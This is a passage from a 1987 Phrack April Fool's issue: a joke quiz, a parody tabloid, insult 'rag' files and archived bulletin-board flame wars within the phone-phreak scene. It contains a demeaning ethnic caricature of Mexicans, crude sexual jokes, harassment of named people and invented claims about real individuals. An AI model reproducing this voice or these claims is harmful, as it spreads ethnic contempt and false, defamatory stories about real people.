8: Your CO is having open house. You plan to go with all enthusiasm, when you hear that Cindy, whose body measurements are 36‑24‑36, is having a 20 keg party with no cover charge. Cindy has expressed deep lust for you within recent weeks. What do you do?

A: Telephone Cindy covertly from your CO where you are taking the tour and tell her you're sorry, you can't make it, but you have some great new numbers.

B: Dress in a ninja suit and sneak into your CO through a window.

C: Rush straight to Cindy's to find out that her new 6 foot 10 boyfriend is supervising the fun and games.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

9: You go to a shopping mall where there is a demonstration on a new AT&T phone. The speaker mentions telephone switching for a brief moment. What do you do?

A: Run to the nearest restroom and relieve the tension in your bladder.

B: Push your way to the front of the crowd of telephone illiterates and begin a heated debate on switching systems and analog to digital conversion.

C: Whip out your note pad and remove pencil from behind ear to take notes.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

10: You wake up in the morning. What do you do?

A: Forage into your box of trash for interesting tidbits that you may have missed last night.

B: Pick up the telephone and take reassurance that the Telco hasn't turned off your dial tone yet.

C: Admonish yourself for forgetting to set the MF routing as your alarm clock the night before.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For each question that you answered A on, give yourself 5 points. For each B answer you gave, give yourself 3 points. For each C Answer, give yourself 1 point. Now go back and add up your totals on your handy dandy pocket calculator and see how you have tested in the G.I.Q (Geek Ignorance Quotient).

50 points and above‑ You are fucking a amazing, and not just elite, not just super elite, but super amazingly elite!!!! Pat yourself on the back a few hundred times, you deserve it.

30 points and above‑ You are not quite as fucking a amazing as those in the above category, but you're close behind. Keep up the good work and soon you'll be hearing from the GIQ League!

10 points and above‑ You are rather sad, because if you haven't realized that this point scoring system is inaccurate and inefficient, not to mention mathe matically incorrect, then you should stick to watching Scoody Doo reruns instead of wasting your time trying to be elite, which will never happen anyway to anyone who had the ingorance to put up with this worthless exam up till now.

HAHAHAHAHAHAH!!!!!!! L0ZER!!! YOU JUST WASTED A GOOD PORTION OF YOUR TIME READING THIS, BECAUSE YOU THOUGHT IT WAS GOING 2 BE SOMETHING G00d!!!!!!!HAHA DAMN I'M ELITE&!$"%"C$"!$!#!3223

Computerists Underground News Tabloid - CUNT

==Phrack Inc.==

Volume Two, Issue 13, Phile #8 of 10

%%=%=%=%=%=%=%=%=%=%=%=%=%=%=%=%=%=%=%=%

% +

% Phrack Presents... %

%

* Computerists Underground News‑Tabloid * % By Crimson Death %

%

% +

%%=%=%=%=%=%=%=%=%=%=%=%=%=%=%=%=%=%=%=%

Welcome to the first issue of Computerist's Underground News‑Tabloid. Now, I am sure you are thinking, "aren't 'news' and tabloid basically synonymous? Isn't that a bit redundant?". Hell, YES! It is! But "we" don't care. Names don't mean a DAMNED thing to us! Hell, NO! What we care about it NEEEEWS! Hardcore, FACTUAL news. That's why we tell it like it is. All Bullsh‑t aside. You don't like what you're seeing? Don't read it! These are the "Bob"‑damned facts, buddy. This is a tough world we live in. Things aren't always as pretty as we'd like them to be. It's a Dog‑Eat‑Dog world. If you can't take it, you won't make it, and it's as simple as that. So read and learn! It's OUR world, and only WE can change it, so keep informed!

Editor‑in‑Chief

Crimson Death

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DREADFUL DIGITAL DILEMA

"IT'S TRUE!", say top scientists at South Hampton Institute of Technology, "Within three years, the world will face its worst dilema in ages." A new strain of virus called C‑AIDS (Computer/Artifical Intelligence Deficiency System) will begin attacking micro‑chips around the globe. Where is it coming from? Scientists aren't quite sure, but believe it to be a combination of many industrial waste products that float around in the air, and human virus! How can this be? Well, that is uncertain right now. Dr. Harry Koch claims, "We just don't know, but it's comming!" Religious groups claim it's a sign from God to "slow down". Our resident psychic believes it's a plague sent down by aliens to hinder us in catching up to their technology.

Just what will this mean? The downfall of many businesses, government problems, stock market crash, media troubles! You name it! Almost everything is run by computers these days. The world will be in shambles. Barbarian times will set in! People will start using their minds! Something needs to be done, and QUICK!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

QUICK QUOTES

"IT'S TRUE," says:

Line Breaker, "I ran a Commodore 64 BBS with 100 megabytes of storage!" American Telephone and Telegraph, "Our rates really ARE the cheapest!" The Traveller, "My Jackin Box plans work! You just play with the little lever until it pops up!"

Cheshire Catalyst, "I did play Shaggy on Scooby Doo...but, hey, that's all in the past now!"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ROBOT CLONE SEEKS PHREAKS AND TRACKS HACKS

"IT'S TRUE!", say our inside sources, "Bell Telephone Labs is currently working on a high tech robot to seek out Phone Phreaks and Hackers. I have seen one...they're almost life like, and it's scary!"

Right now, there are only a few, but BTL plans to soon put them into mass production. This means Bulletin Board Systems throughout the U.S. will be teeming with these undercover agents. Two known NERD's (Neurologically Enhanced Robotic Detectives) are John Maxfield, a Detroit based android running a business called Board Scan; and Daniel Pasquale, a former officer of the law, located in California.

How can we protect ourselves? Well, we're not quite sure, but our resident scientists are working on it now!

More on this topic as it unfolds.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Latest news on Robot Clones: Rumor has it that N.E.R.D., John Maxfield has contracted a premature case of C‑AIDS. If asked, he only denies, but an inside agent of ours at BTL said that he has been coming there for treatments.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FAMED PHREAK FATHERED BY FUZZIES

"IT'S TRUE!", says a close friend of Scott Ellentuch (better known as Tuc) the sysop of RACS‑III BBS, and former co‑editor of Tap Magazine. "He doesn't like to talk about it, but he was infact raised by a pack of male Guinea Pigs!"

At the tender age of three months old, the sibling Tuc was abandoned on a doorstep in Manhattan. Unfortunately for the tot, the owner of the house was an old druken man, who threw the poor baby into the trash before his wife got home and found it. Luckily, a pack of wandering Guinea Pigs were on the hunt for food, an happened upon the child. They then took him to their nesting in Central Park, and raised him like one of their own.

One day, at the age of 10, Tuc was apprehended by the police after being caught shopplifting a bag of cedar chips at a local pet shop. It was decided in court that he was a not a criminal, but just misguided because of his fate. He was then put in an adoption home until taken in by the Ellentuch's. A crack reporter of ours decided to seek out these kindly rodents, and ask about any grievances they may have about little "Zippy" (the name given to him by his furry brothers). When questioned, they only replied with a squeek, and left a few dung pellets. I suppose that's their way of saying, "Come on back, Zip, we miss ya..."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NEW PHREAK KLASS CO‑SYSOPED BY DEMON FROM HELL

"IT'S TRUE!", says respected Demonologist, Dr. Jack Goff, from Hawaii State University, founder of the Academy of Supernatural Studies. "A modem user, who dons the handle 'The Executioner' has been possessed by an evil demon from the netherworld!"

The Executioner, of New Jersey State, co‑sysop of the revived Phreak Klass 2600 (ran by The Egyptian Lover), and the 'Leader' of the also‑revived PhoneLine Phantoms, was "once a nice person", according to many of his old friends. What caused his plunge into the sadistic‑egotistical world he now lives in? Black magick!

His mother spoke with us. "Ever since he ate that bad can of Spaghettios, you know...the ones with the sliced franks, he hasn't been the same. Day‑by‑day, he gets worse‑and‑worse. It's like living with...a...a...monster!" At that point, the poor woman broke into tears. But, she couldn't have been more on the money if she were sitting on it! The truth is, while eating a plate of those Spaghettios (you know, the one's with the sliced franks in them), he was reading out of a book he bought the week before called "101 Ways to Summon a Demon". Thinking it was all a bunch of nonsense, he read one of the 'prayers' aloud. From then on, the poor boy has been inhabited by the demon, Isuzu.

Sorry to say, Dr. Goff claims this demon is a "one of a kind". So far, there are no known ways to Ex‑orcise (pun intended) the dreaded Isuzu. "It's a shame for the lad...I guess we will have to put up with his sadistic, egotistical, obnoxious, rude, loud, ragging posts and attitudes for awhile."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SCIENTIFIC STUDIES SHOW...

If you put an infinate number of Taran King's in a room for an infinate number of years, you probably still couldn't get Metal Shop Private to stay up for over 30 days.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LOD/H MEMBER DISMEMBERS MEMBERS

"IT'S TRUE!" says an anonymous member of the 'Modem World', "Until now, it has been all hush‑hush, but in reality, there are only a couple LOD/H members alive today...it's frightening, and it's hard to believe, yet it happened."

Just what did happen you ask? What is the truth behind the drop‑out of many LODers? How come the group has dwindled to a petty few? Murder! Yes, coldblooded throat‑slashing MURDER! "Who? How? Why? ", you say? Well, that's what I am here for, and that's what you're going to find out.

In December of '86, an LOD/H meeting was held at The Mariott, in Philadelphia, in which all of the members had attended. During a discussion on the current MCI cracked‑down, someone said, "Hey, let's pause this conversation for 30 minutes, 'Punky Brewster' is coming on." It was at this point that everyone in the room quieted, and The Videosmith stood up and threw a glass of Pink Lemonade at the TV. He then ran out of the room yelling "Fuck this shit! It all makes my balls itch!" Moments later he returned with a 17 inch machete, and a can of Raid. He had shaved his head, and was wearing a shirt that said, "Buckwheat say 'Drugs NOT O‑Tay!'" He was obviously deranged. He proceded to spray everyone's hair with raid, until the can finally ran out. As the group stood in awe, he slashed all of them into tiny bitesize pieces...one by one. He then sat down, and watched the rest of Punky Brewster, and to this day, has no recollection of what had happened. Only those few, who had been at Denny's at the time, remained. Following this massacre, he was treated at the Jason Voorhees Institute for the Criminaly Insane, and is no longer a member of LOD/H.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well, that about raps it up for the first issue of the Tabloid. There may be a few more in the future, I am not sure at this point right now. I hope you all enjoyed it, and that only AT&T, The Traveller, and Line Breaker were offended.

I'd like to have some comments on how you felt about it, so let me know. Also, let me know if you figured out all of the puns and acronyms.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Call these Awesome Boards:

Lou's RBBS.................215‑462‑4335 Sysop: Louis Acok Grendel's Liar (sic).......415‑679‑2600 Sysop: Stan the Man

RAGS - The Best of Sexy Exy

==Phrack Inc.==

Volume Two, Issue 13, Phile #9 of 10

[+] Rag [+] Rag [+] Rag [+] Rag [+] Rag [+] Rag [+] Rag [+]

||‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

||

|| ______The Executioner______ || || PHRACK XIII| |PHRACK XIII || || ‑‑‑‑‑‑‑‑‑‑‑‑ Thanks: Knight Lightning ‑‑‑‑‑‑‑‑‑‑‑‑ || || |PHRACK INC| The Phreakazoid! |PHRACK INC| ||

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|| |

|| | Phreak Klass |The Best of Sexy‑Exy| Phreak Klass| || || | 806‑799‑0016 |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| 806‑799‑0016| || || | EDUCATE |(c) 1987 Sexy‑Exy TM| EDUCATE | ||

|| | |

|| | | Released April 1 | | ||

|| |

|| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[+]]]]]]]]]]]]]]]]]]]]]]]]]]RAG[[[[[[[[[[[[[[[[[[[[[[[[[[+]

Welcome to "The Best of Sexy‑Exy", a conglomoration of rags/insults that have been gathered over the past year or so. All rags are original and are the creation of my genius mind. I think that this installment is appropriate for the 13th issue of PHRACK.

NO rags are to be taken seriously, they are merely for entertainment.

There have been events beyond my control during the process of writing this file, they are enclosed in "**". Thank you.

========================================

"Doc Holiday: The man, The myth, The Loze" Doc Holiday is a man of many diverse talents. I think it's my place to let the whole world know just how much of a mental giant he is.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First, let's discuss how he manages to engineer the toughest of AT&T's network men. Here is a typical conversation between Doc and AT&T. I will interject my comments in between the brackets [ and ]. Doc will be represented by a DH.

<RING>

AT&T: Hello, AT&T directory assistance, may I help you? [Boy, this guy is a REAL powerhouse to engineer, think MAYBE Doc will be able to get anything from him?]

DH: Hi, this is Pee Wee Herman from Illiois Bell, DA waste removal. I am having a problem connecting an interoffice call, do you think you could give me the number to the SCC in area code 201?

[Gee, he picked a REAL important reason to call didn't he?]

AT&T: Well, sir, I don't think I can do that, I can give you the number for the business office, maybe they can help you. (AT&T thinks: bahehahhe, stupid kid). <RING>

NJ BELL: Hello, New Jersey Bell, all operaters are busy now, please hold, and your call will taken in turn. DH: Ho hum...[unzips his pants]

NJ BELL: [Elevator music]

DH: ahhhhh...[Doc, why is your left hand having spasms?] NJ BELL: Hello, New Jersey Bell, this is Susan. DH: Uh, yeah, hold on a sec...[wiping away the fluid from

reciever.]

DH: Uh yeah, this is Dick Little, from Illinois Bell, I was wondering if you could give me your 201 CN/A? [Uh, Doc, hate to break this to you, but 201 has no CN/A.]

NJ BELL: Uh yeah, hold on...

[NJ BELL: Must be one of those trainees, they have to get because of affirmative action.] NJ BELL: I'm sorry, I can't give you that number. DH: Well, here in this small town, it's kinda hard to get around, so could you please give me someone I can refer to?

[At this time, Doc's dog wanders into his room, and begins to bark and snarl and generally acts like Doc's mom.]

DH: Uh, y'know, this town is SO small, you can hear the dog barking across the street. [Wow, fast thinker] DH: I'm not used to this small town, I'm used to a big city. NJ BELL: Oh, what town are you in?

DH: Uh, it's this little town outside Illinois. [Hmm, he's supposed to be from Illinois Bell but he is not in Illinois? WHAT AN ENGINEER!!!]

NJ BELL: Oh, is that so. [NJ BELL: Damn kid should at least know his geography.] NJ BELL: What big city did you live in before? DH: Oh, I used to live in New York City. [Sure, Doc, you got your MASSIVE southern drawl in the boro of Brooklyn...]

DH: I mean, uh, I only lived there for 3 months. [Give up Doc, you screwed up big time, you're gonna get pounded.]

[FLASH: Doc's mom gets on the phone.]

Doc's Mom: ROB, TIME FOR YOU CELLO LESSON!!!! DH: Yeah, uh, well, my seceratary, has just reminded me that I have to pick up my kid for his music lesson. NJ BELL: <chuckle> Sure, <growing giggle> I guess I will talk to you later <crescending into hysterical laughter, falling off his chair in a spasmodic echo of immense laughter>.

<CLICK>

Boy, Doc, I gotta hand it to you, in that conversation, you sure showed him your intellegence. It's ok, that you don't know where you are, and it's ok that your mom interrupted you twice, barking both times into the phone. But, hey, I am not done celebrating you yet, here's more of "The Story Of Your Life!"...

** The date is now March 14, Doc Holiday has just been put out of action by Oryan QUEST, shutting off both of Doc's lines. **

** The date is March 30, I have just heard that Doc has been busted for COSMOS hacking. **

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TOK, Tribunal of Knowledge, is a group to be admired, they're conglomoration of massive intellegence and normality have all of the phreak/hack world stunned. Prophet's education at Devry Tech, you know the school where you get a free box of tools when you enter, is a definate school for those who have superior mental ability. And then there's Solid State, or by name, Nate. By the way, do you know what the name Nate means? Let's look in the Websters Collegiate Doctionary...

NATE \NAT\ n : skin that stretches from the base of the scrotum to the opening of the anal cavity. Boy, Nate, your parents must have loved you... And I haven't forgotten you, High Evolutionary, you massive stud you. HE, is on the school football team. [Actually, he plays text‑graphics football on his commodore and thinks he plays football, but we'll let him have his fantasy.] Here is my tribute to T0K!1!

TOK! Second Chapter: Nothing this bad ever dies.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We're TOK and we're proud to say,

Even Buckwheat says that we're O'Tay!

We're gonna make LOD jealous of us,

With our computers we get from Toys R Us!

We'll take the hack world by attack,

With our 100+ files we put in Phrack.

Our reformed group numbers only to three,

We'll be famous like Larry, Moe and Cur‑ly!

Hey TK do a prophile on us, we want some press, We'll tell ya about our hobbies like playing Phone chess! Ask us about our ability and we'll gladly exposulate, About the great acomplishments of Solid State! And Prophet too, boy is he a Joe Hacker,

He talks to Bill Landreth, aka The Cracker.

He spits out logins and passwords all the time, Getting busted by feds is his favorite past time. Then there's High Evolutionary, the leader of the pack, Who does his hacking in a neighbor's tool shack. He likes to hack Unix's, VMS and The Source,

He likes to play football, on his computer of course. We're elite, we're the best there will ever be, We're just jealous that we're not in cDc.

** The date is now March 21, I have just learned that Evil Jay and Ctrl‑C have been added to the list of TOK groupies.**

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dr. Doom Rag, the extended dance version to the tune of "Beverly Hillbillies".

Now, listen to a story about a boy named Doom, Poor modem geek who would never leave his room. Then one day he was talking on the phone,

When up in his pants came a miniature bone. Penis, that is, kinda like a toothpick.

Well the next thing you know ol' Doom puts up a board He runs it on a Commie 'cause it's all he can afford. He makes his board private and he thinks he is a phreak, <Idea Block...sorry>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I have seen alot of files written lately and needless to say, alot of them need a lot of work. Sooo in my infinite charitableness, I ha ve decided to write a file on how to write a file. I will list EVERY IMPORTANT aspect of writing a file and all the inside secrets on how it will make you look a like a real cool dude (Let's face it, we write files to promote ourselves.).

The first and most important thing to writing a file is your border. It has to be flashy and must include the name of your k‑kool group which you are part of even though no one in the group helped you but you will still put their name down to promot e yourselves. Of course, the title must be set in it's

own section of the border. Example

‑‑‑‑‑‑‑

[$%$]\\//\\//\\//\\//\\//\\//\\//\\//\\/

\===/

[+] Metro! =‑>Dr. Doom<‑= Metro! [+]

$$$ ‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

%^% (^name of group) (name must be %^% (0) emphasized) (0)

*#*

RAD Present: RAD

|+|(always use 'present') |+|

:::

@!@ File #30 > ISDN!!!!!!!!!!! @!@

%!%

%!% (ALWAYS say how many OTHER worthless files %!% %%% you have written so it makes you look %%%

||| productive) |||

[$%$]//\\//\\//\\//\\//\\//\\//\\//\\//\

That is an example of a good border, notice all the neat ASCII graphics and how he uses space to put his group in the file too.

The content of your file is important also. Here is a list of rules you should follow. 1. ALWAYS be confusing, it makes you look li ke you know what you are talking about, even if you don't. 2. ALWAYS use as many acronyms as you can, it will make your reader look up to you because you know that AACTU stands for Acronyms Are Cool To Use. 3. ALW AYS be condescending to your reader as if he/she should know what the hell you are talking about even if you are just rambling to fill space. Corollary: ALL FILES SHOULD BE AT LEAST 40 SECTORS 4. ALWAYS give 10‑15 examples that really don't show what you are talking about, but will make the reader think that whatever you are writing on, somehow has some use when it doesn't.

5. ALWAYS put in diagrams and pictures, the ASCII will confuse them so much that you can say just about anything that will describe the diagram. 6. ALWAYS list things vertically, it makes you look professional. (And it takes up space too) 7. ALWAYS thank 10 famous people even if they didn't help you on the file because it will make it seem as if you know them REAL well.

8. ALWAYS interject your own opinions because it makes you look scholarly and that you are a master of the facts you are perpetrating.

9. ALWAYS make at least 5 spelling mistakes, because it makes it seem as if you did it in a hurry because you have a social life, even when you don't and spent days on it correcting spelling and grammar. 10. ALWAYS type stuff like jkwhebfiue in parts you don't fully understand and then blame it on the xmission. This releases you from knowing everything in the file.

11. ALWAYS dedicate your file to a girlfriend, it makes you look like you have one and that you are a stud, even if you look like Slave Driver.

Sexy‑Exy presents...

A Humor Filled Article

A Marvelous Laugh For The 80's A Nice Bedtime Story A Stephen King Look‑a‑Like A Joke for You! "When a Phreak/Hacker says...He really means,,,"

Preface

=======

Just a note, all names mentioned are fictitous, and are creations of the author. Any resemblences or factual similiarity are completely coincidental.

When a Phone Phreak or Hacker says something, there is usually an undertone or subliminal message, in this nice file, I will list some of the more common ones you will run across.

1. When Slave Driver says

'I am on the football team!'

He really means...

'I wash the uniforms for the guys.

2. When Carrier Culprit says...

'I look like Don Johnson!'

He really means...

He watches too much 'Miami Vice'.

3. When Knight Lightning says...

'Hi this is KL, I wanna ask you something...' He really means...

'Hi, this is KL, let me open up my Database.' 4. When Phantom Phreaker says...

'I go trashing for all my information.' He really means...

'I am going to shop for Christmas dinner.' 5. When Dr. Doom says...

'I got locked out of my house.'

He really means...

'The Dept. of Sanitation put the lid back on the sewer' 5. When Forest Ranger says...

'I am tenderizing meat.'

He really means...

'I am popping my zits.'

6. When Line Breaker says...

ANYTHING

He really means...

'I am lying to cover my stupidity.'

7. When Silver Spy says...

'I am God at the VAX/VMS.

He really means...

'I work with a VAX, so I am not that impressive.' 8. When Evil Jay says...

'I am into Heavy Metal.'

He really means...

'I have no friends and bang my head in frustration.' 9. When The Rocker says...

'I love to party.'

He really means...

He watches Animal House and thinks he can party. 10. When Mark Tabas says...

'I have an athletic family.'

He really means...

'Me and my little girlfriend are running away from EVERYBODY.

11. When Captain Hooke (Howie) says... 'Hey man, I am gonna fuck up your dad's credit card on TRW!'

He really means...

'I spend too much time talking to Line Breaker.' 12. When Captain Hooke (Howie) says...

'I have a major social life.'

He really means...

'I call up the conference bridges and spend all of my time talking to losers.'

13. When Dr. Who says...

'I have done alot for the Phreak/Hack world.' He really means...

'I try everything first to see if it's safe.' 14. When Forest Ranger says... 'Telecomputist will be an original magazine full of new information.

He really means...

'Telecomputist is written on toilet paper with the same quality and originality of articles' 16. When Attila the Hun says...

'I love to Slam Dance!'

He really means...

'When he's in a ballroom he steps on EVERYONE'S feet.' 17. When Ax Murderer says...

'Yo, I just wrote the most complete file on UNIX with examples.'

He really means...

'I rewrote a Unix manual and copied the illustrations too.'

18. When Taran King says...

'Yo, MSP is down due to Hard disk problems.' He really means...

'I spilled dinner over the computer chatting with KL.' 19. When Sinister Fog says...

'I used to run the best bbs in the country.' He really means...

'We tried to find the non‑existant alogarithm for SPC.' 20. When Oryan Quest says...

'I am gonna bill $20000 to you Taran!' He really means...

'PLEASE let me back on Metal Shop!'

21. When The Executioner says...

'Yes, Taran I will have your file in time for Phrack.' He really means...

'I fucked up again and I'll have to get Bill to help me out.'

22. When Bill From RNOC says...

'Hey, what's up?'

He really means...

'I'm here to leach all your new stuff, pull your tolls and stab you in the back.'

========================================

ORYAN QUEST ‑ A point by point historical recreation of this controversial excuse for recycled shit from the sewer of Mexico. "Juan!!!", screamed the mexican lady, "get over here, mucho expresso!"

"Coming my little tortilla!!", panted the tired Mexican peasant. "What is it my little bag of cabbage leaves?", inquired the Hispanic mongrel.

"Juan, Juan, Juan, I tink I am stricken with baby!" exclaimed his wife.

"OH NO! my babaloo!, not another little child," cried Juan, "We cannot afford to have another child."

"My wages picking coffee beans and stripping cabbage barely feed our other 12 children, how am I going to support THIS bastard billy‑goat?", asked Juan.

Well, the day finally came, and the poverty stricken couple made their way to the village hospital, by way of mule, a mercedes to the couple.

"Oooooooooh....", cried the lady in pain, as the baby pushed it's way forward.

"Ohhh what a beautiful child", exclaimed Juan. "Uh senor, that's the pre‑natal discharge, your baby is next.", corrected the doctor.

The baby's body began to appear(feet first, of course), it's WIDE vertical smile, greeting the world.

"Oh my,",said Juan,"he looks just like his papa!" "I must give him a proper name.", continued Juan. "I name you..

Senor Pepe Guadaloop Tom Flanagan Paco Oryan QUESTO!"

[Pretend there is alot of applause]

Well, Paco, I mean QUEST, learned the trade of his father and his father's father. Toiling and slaving away, he dreamed of one day going to America, north of the border, and leading a life of a re‑fried bean.

One lazy sunny day, Paco and his father were doing their daily fishing, trying to make a living for themselves and feed their family,with out eating stray dogs. Questo was casting off with his new hardwood fishing pole that his father made for him that very morning. Juan was picking his nose and batting an eye at his son, marveling his skill at throwing the line.

Suddenly Paco's line went taut with a quick jerk and Paco's limp 100 lb body flew into the water with a splash. "Oh no, my little chili bean fart, what should I do. Juan pulled Quest out of the water. Well, he thought "At least he's clean now, I don't think he'll be thirsty for at least another week.

[Sorry to end this story so abruptly, but Oryan Quest is not worth more than 5K, come to think of it he's not worth a byte. I figgured since he tried SOOOO hard to write a rag file about me (See Phrack 12) that I ought to show exactly

Phrack World News XIII

==Phrack Inc.==

Volume Two, Issue 13, Phile #10 of 10

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN *>=‑{ Phrack World News }‑=<* PWN

PWN ~~~~~~ ~~~~~ ~~~~ PWN

PWN Issue XIII PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Happy April Fool's Day and welcome to Issue Thirteen of Phrack World News. In the spirit of April Fool's Day, this is the "rag" issue of PWN. And now we take a look back and enjoy the most hilarious posts of the past year. These posts were selected only because they were there and no one should take offense at the material. Please note that not all posts are rags, which only goes to prove that you don't have to rag to be funny.

[Some posts have been reformatted and edited for this presentation].

[Special thanks to Solid State]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Name: The Executioner #47

Date: 2:33 pm Fri Sep 12, 1986

Slave Driver > Do explain that message... I do NOT kiss anyone's ass except my own because I am such an awesome studly dude. Something you would know nothing about, being studly that is.

Master Vax, you are an utter bore who has nothing contributing to say. You are so useless. When people say "Sexy‑Exy", they say "Ragger Elite, good knowledge and not too bad of a cosysop." When people say Circuit Breaker, they say "who?????" . Face it, you are basically non‑existent in the modem world. You command nothing and you hang out with the lowest echelon like Dr. Doom who sat there for about 10 minutes taking my abuse, making lame comments thinking he was cool.

Anyway, this is a phreak/hack sub, not some rag board where I am allowed to bug the hel out of you. And when it comes right down to it, I don't brag about my knowledge, because "Those who proclaim their knowledge, proclaim their ignorance".

‑The Sexyest Executioner

Name: Dr. Doom #106

Date: 6:04 pm Fri Sep 12, 1986

Executioner...

Well, it seems that a little more than a week ago, it was 'Dr. Doom, we (PLP) feel that you would be a valuable addition to our group and therefore are extending an invitation to join the Phone Line Phantoms.' and then I told you quite simply that I wasn't interested in joining PLR (Phone Line Raggers). NOW, you are calling me voice just to rag on me and posting 'Dr. Doom the loser...'. So, the other week you were kissing ass 'Dr. Doom join PLP....' , etc... and now quite suddenly I have become a loser because I didn't join PLR.

Guy, I could in a few minutes come up with LOADS of stuph to say about you, but since you carry no weight and are on some kind of an ego‑trip I will let you go off to Central Park and play Ninja with Broadway.

Dr. Doom

Name: Knight Lightning #2

Date: 12:49 am Sat Sep 13, 1986

This is getdhng good, its been a while since we saw a really heated battle on here and you know why? Because those who start heated battles on this board get deleted so either post good info or use the email or you won't be using the system for anything any longer. In other words lets drop the bullshit messages (like this one) use use this sub for what it was intended.

:Knight Lightning

Name: The Executioner #47

Date: 9:45 am Sat Sep 13, 1986

By the way, Dr. Doom, we thought you had some knowledge (at least TEL did). When I read all 31+ files you wrote, which happened to come straight out of manuals, I was not impressed. I am not ragging on you because you didn't join, I am pointing out a harsh reality that you should face.

You are a peon compared to the monolithic stature of one such as I. You are an amoeba compared to the complex genius person I am.

You are a pimple compared to the sexyness and looks such as I.

You are a clinging form of pig feces.

You throw absolutely NO weight around. No one cares about you or your bbs. having absolutely no reputation, you proceed to write 31 files because you cry at home fearing that no one likes you. And, I have composed a neat little tune about you to the Beverly Hillbillies (Your ancestors)

Now listen to a story about a boy named Doom, Poor Modem geek who would never leave his room. Then one day he was talking on the phone,

When up in his pants came a miniature bone. Penis that is, kind of like a toothpick.

Well the next thing you know old Doom has a board, Running on a commie cuz it's all he can afford. So now doom sits at home as happy as can be, thinking he's cool he turns down PLP.

So now he thinks he happnin he thinks he's rad, With his high pitched voice, god this boy is sad. And this is the story about a dork named Doom, Poor modem geek who DOESN'T want to leave his room. Why?

Because your UGLY! D‑O‑O‑M! (<‑that was to Mickey Mouse)

The End.

The Executioner/PhoneLine Phantoms! Name: Carrier Culprit #11

Date: 10:17 am Sat Sep 13, 1986

Heh. That was pretty cool. Doom you have no talent what so ever, I could pick up a manual and start typing away. When data demon and I were talking to you via 3 way you couldn't even answer some basic CCIS stuff. And Lover was the only person who wanted you in the group, I hope he wasn't impressed by your files (volume I, II, III, IV, V, etc.. heh). And if you think that all PLP does is rag, well you must not know what's up in the world. And make up your mind, you keep changing your group's name and bragging about turning down an offer to be in PLP. Well, Doom my boy you told me your were going to drop Metro Communications to join PLP until you saw Exy's rag on your so called Commie 5 messages per sub board. Shit your board was up longer than Link, and Link blows it away. Well, I really should stop this ragging because it's pretty uncool, then again Doom is uncool. Anyway your group is gay in the face!

‑‑Culprit

MCI Communications

Sprint COM

950 Communications

I dunno Communications

Metro MEN!

Name: Dr. Doom #106

Date: 10:04 pm Sat Sep 13, 1986

Well, as some of you might have seen lately, certain people do not relish the fact that I thought very little of them so they are attempting to slander my good name by saying that I know nothing and that every file I have ever written was copied from manuals. First of all, most files I have written do contain some information that was origionally printed on some Bell or AT&T document, because they relate to such things as ISDN, but by NO means are they copied from manuals in any way.

